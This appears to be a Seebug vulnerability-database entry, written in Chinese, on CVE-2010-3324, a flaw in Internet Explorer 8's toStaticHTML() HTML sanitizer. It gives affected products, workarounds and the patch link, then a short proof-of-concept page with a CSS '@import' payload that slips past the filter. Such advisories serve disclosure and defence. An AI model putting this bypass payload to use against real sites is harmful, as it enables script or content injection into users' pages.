Lucene search

K
seebugRootSSV:20163
HistoryOct 14, 2010 - 12:00 a.m.

Microsoft IE 8 toStaticHTML()函数不安全HTML过滤漏洞(MS10-071/MS10-072)

2010-10-1400:00:00
Root
www.seebug.org
17

0.961 High

EPSS

Percentile

99.3%

BUGTRAQ ID: 42467
CVE(CAN) ID: CVE-2010-3324

Internet Explorer是Windows操作系统中默认捆绑的web浏览器。

IE8中对窗口对象提供了名为toStaticHTML的过滤方式。如果向这个函数传送了HTML字符串,在返回之前会删除所有可执行的脚本结构。例如,可使用toStaticHTML方式确保从postMessage调用所接收到的HTML无法执行脚本,但可利用基本格式:

document.attachEvent(‘onmessage’,function(e) {
if (e.domain == ‘weather.example.com’) {
spnWeather.innerHTML = window.toStaticHTML(e.data);
}
}

调用:

window.toStaticHTML("This is some <b>HTML</b> with embedded script following… <script>alert(‘bang!’);</script>!");

会返回:

This is some <b>HTML</b> with embedded script following… !

Microsoft Internet Explorer 8.0
Microsoft Windows SharePoint Services 3.0 sp2
Microsoft SharePoint Server 2007 SP2
Microsoft SharePoint Foundation 2010
Microsoft Office Web Apps
Microsoft Groove Server 2010
临时解决方法:

  • 以纯文本读取邮件。

  • 将Internet Explorer配置为在Internet和本地Intranet安全区域中运行ActiveX控件和活动脚本之前进行提示。

  • 将Internet 和本地Intranet安全区域设置设为“高”,以便在这些区域中运行ActiveX控件和活动脚本之前进行提示。

厂商补丁:

Microsoft

Microsoft已经为此发布了一个安全公告(MS10-071)以及相应补丁:
MS10-071:Cumulative Security Update for Internet Explorer (2360131)
链接:http://www.microsoft.com/technet/security/bulletin/MS10-071.mspx?pf=true


                                                &lt;script type=&quot;text/javascript&quot;&gt;
function fuckie()
{
var szInput = document.shit.input.value;
var szStaticHTML = toStaticHTML(szInput);

ResultComment = szStaticHTML;
document.shit.output.value = ResultComment;
}
&lt;/script&gt;

&lt;form name=&quot;shit&quot;&gt;
&lt;textarea name='input' cols=40 rows=20&gt;
&lt;/textarea&gt;
&lt;textarea name='output' cols=40 rows=20&gt;
&lt;/textarea&gt;

&lt;input type=button value=&quot;fuck_me&quot; name=&quot;fuck&quot; onclick=fuckie();&gt;
&lt;/form&gt;


&lt;style&gt;

}@import url('//127.0.0.1/1.css');aaa

{;}

&lt;/style&gt;
&lt;div id=&quot;x&quot;&gt;Fuck Ie&lt;/div&gt;
                              

0.961 High

EPSS

Percentile

99.3%